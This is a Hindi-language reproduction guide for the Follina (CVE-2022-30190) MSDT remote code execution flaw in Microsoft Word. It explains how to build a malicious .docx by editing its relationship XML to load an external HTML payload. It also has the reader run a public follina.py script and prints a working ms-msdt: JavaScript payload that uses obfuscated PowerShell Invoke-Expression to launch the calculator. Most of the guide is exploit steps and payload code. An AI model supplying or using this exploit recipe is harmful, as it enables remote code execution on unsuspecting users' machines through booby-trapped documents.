
CVE-2022-30190 (Follina) MSDT दूरस्थ कोड निष्पादन भेद्यता के लिए चरण-दर-चरण पुनरुत्पादन मार्गदर्शिका, जिसमें दुर्भावनापूर्ण दस्तावेज़ निर्माण और C2 सर्वर सेटअप शामिल है।
जिसे Follina के नाम से भी जाना जाता है
Follina Microsoft Support Diagnostic Tool (MSDT) में मौजूद है। जब कोई एप्लिकेशन URL प्रोटोकॉल के माध्यम से MSDT को सहायता के लिए कॉल करता है, तो एक दूरस्थ कोड निष्पादन भेद्यता उत्पन्न होती है। सफल शोषण हैकर को चल रहे एप्लिकेशन की अनुमतियों के आधार पर मनमाना कोड निष्पादित करने की अनुमति देता है।
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 एक Word दस्तावेज़ (.docx) बनाएं और उसमें OLE ऑब्जेक्ट (जैसे Bitmap Image) डालें।
Step2 .docx फ़ाइल को अनज़िप करें, फोल्डर के अंतर्गत word/_rels/document.xml.rels फ़ाइल को संपादित करें। नीचे चित्र में पीले हाइलाइट में दिए गए Target="embeddings/oleObject1.bin" को बदलें और नया गुण जोड़ें।
Step3 फोल्डर के अंतर्गत फ़ाइल को संपादित करें। नीचे चित्र में पीले हाइलाइट में दिए गए को बदलें और नया गुण जोड़ें।
Step4 7-zip का उपयोग करके .docx फ़ाइल खोलें (अनज़िप न करें) और उपरोक्त दो फ़ाइलों को .docx फ़ाइल में डालें। इस प्रकार दुर्भावनापूर्ण दस्तावेज़ तैयार हो जाता है।
Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
John Hammond द्वारा जारी Follina.py डाउनलोड करें। यहाँ बुनियादी कैलकुलेटर कॉल के उदाहरण के रूप में, python3 follina.py -c calc.exe -i eth0
Follina.py फ़ाइल में line 117-125 मुख्य रूप से दुर्भावनापूर्ण पेलोड (.html) बनाने के लिए है। इसकी सामग्री निम्नलिखित है: <script>location.href... एक स्क्रिप्ट है जो पीड़ित होस्ट पर कैलकुलेटर निष्पादित करेगी। पूरी फ़ाइल बड़ी संख्या में यादृच्छिक वर्णों से भरी होती है, जिसका उद्देश्य फ़ाइल को कम से कम 4096 बाइट तक भरना है। इसका कारण “Follina” MSDT Attack में देखा जा सकता है।
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script>